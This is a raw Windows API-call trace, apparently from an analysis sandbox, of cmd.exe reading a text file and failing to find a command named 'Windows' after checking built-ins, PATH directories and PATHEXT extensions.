[0161.947] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.947] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f3 [0161.947] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x15c2, lpOverlapped=0x0) returned 1 [0161.948] SetFilePointer (in: hFile=0x94, lDistanceToMove=590, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24e [0161.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0161.948] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.948] GetFileType (hFile=0x94) returned 0x1 [0161.948] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.948] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24e [0161.948] GetProcessHeap () returned 0x20b0f920000 [0161.948] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.948] GetProcessHeap () returned 0x20b0f920000 [0161.948] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.949] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.949] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.949] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.949] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.949] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.949] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.949] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.949] GetProcessHeap () returned 0x20b0f920000 [0161.949] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0161.949] GetProcessHeap () returned 0x20b0f920000 [0161.949] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.949] GetProcessHeap () returned 0x20b0f920000 [0161.949] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f92cb10 [0161.950] _tell (_FileHandle=3) returned 590 [0161.950] _close (_FileHandle=3) returned 0 [0161.950] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.950] GetFileType (hFile=0x50) returned 0x2 [0161.950] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.950] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.951] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.951] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.951] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.951] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.951] GetFileType (hFile=0x50) returned 0x2 [0161.951] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.951] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.952] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.952] GetFileType (hFile=0x50) returned 0x2 [0161.952] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.952] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.953] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.953] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0161.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.953] GetFileType (hFile=0x50) returned 0x2 [0161.953] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.953] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.953] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0161.954] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.954] GetFileType (hFile=0x50) returned 0x2 [0161.954] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.954] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.043] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.044] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.044] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.045] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.045] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.045] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.045] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.045] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.045] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.045] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.045] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.045] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.045] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.045] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.045] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.045] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.045] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.045] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.045] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.045] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.045] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.046] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.046] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.046] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.046] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.046] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.046] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.046] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.046] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.046] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.046] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.046] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.046] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.046] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.046] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.046] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.046] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.046] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.046] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.046] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.046] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.046] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.046] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.046] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.046] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.046] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.046] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.046] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.047] GetProcessHeap () returned 0x20b0f920000 [0162.047] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.050] SetErrorMode (uMode=0x0) returned 0x0 [0162.050] SetErrorMode (uMode=0x1) returned 0x0 [0162.050] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.050] SetErrorMode (uMode=0x0) returned 0x1 [0162.050] GetProcessHeap () returned 0x20b0f920000 [0162.050] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.050] GetProcessHeap () returned 0x20b0f920000 [0162.050] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.050] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.051] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.051] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.051] GetProcessHeap () returned 0x20b0f920000 [0162.051] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.051] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.051] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0162.052] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0162.052] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.052] GetLastError () returned 0x2 [0162.052] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.052] GetLastError () returned 0x2 [0162.052] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.052] GetLastError () returned 0x2 [0162.052] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.053] GetLastError () returned 0x2 [0162.053] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.053] GetLastError () returned 0x2 [0162.053] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.053] GetLastError () returned 0x2 [0162.053] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.053] GetLastError () returned 0x2 [0162.053] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.054] GetLastError () returned 0x2 [0162.054] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.054] GetLastError () returned 0x2 [0162.054] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.054] GetLastError () returned 0x2 [0162.054] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.054] GetLastError () returned 0x2 [0162.054] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.055] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.055] GetLastError () returned 0x2 [0162.055] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.055] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0162.055] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.056] GetLastError () returned 0x2 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.056] GetLastError () returned 0x2 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.056] GetLastError () returned 0x2 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.056] GetLastError () returned 0x2 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.056] GetLastError () returned 0x2 [0162.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.057] GetLastError () returned 0x2 [0162.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.057] GetLastError () returned 0x2 [0162.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.057] GetLastError () returned 0x2 [0162.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.057] GetLastError () returned 0x2 [0162.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.057] GetLastError () returned 0x2 [0162.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.058] GetLastError () returned 0x2 [0162.058] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.058] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.058] GetLastError () returned 0x2 [0162.058] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.058] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.058] GetLastError () returned 0x2 [0162.058] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.058] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.058] GetLastError () returned 0x2 [0162.059] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.059] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.059] GetLastError () returned 0x2 [0162.059] ??_V@YAXPEAX@Z () returned 0x1 [0162.059] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.059] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.059] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.059] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.059] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.060] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.060] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.060] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.060] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.060] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.060] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.060] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.060] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.060] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.060] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.060] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.060] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.060] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.060] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.060] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.060] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.060] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.060] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.060] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.060] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.060] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.060] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.060] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.060] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.060] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.061] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.061] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.061] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.061] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.061] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.061] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.061] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.061] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.061] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.061] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.061] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.061] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.061] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.061] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.061] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.061] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.061] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.061] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.061] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.061] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.061] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.061] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.061] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.061] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.061] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.061] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.061] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.061] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.061] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.061] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.061] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.061] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.061] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.061] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.061] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.061] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.062] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.062] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.062] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.062] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.062] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 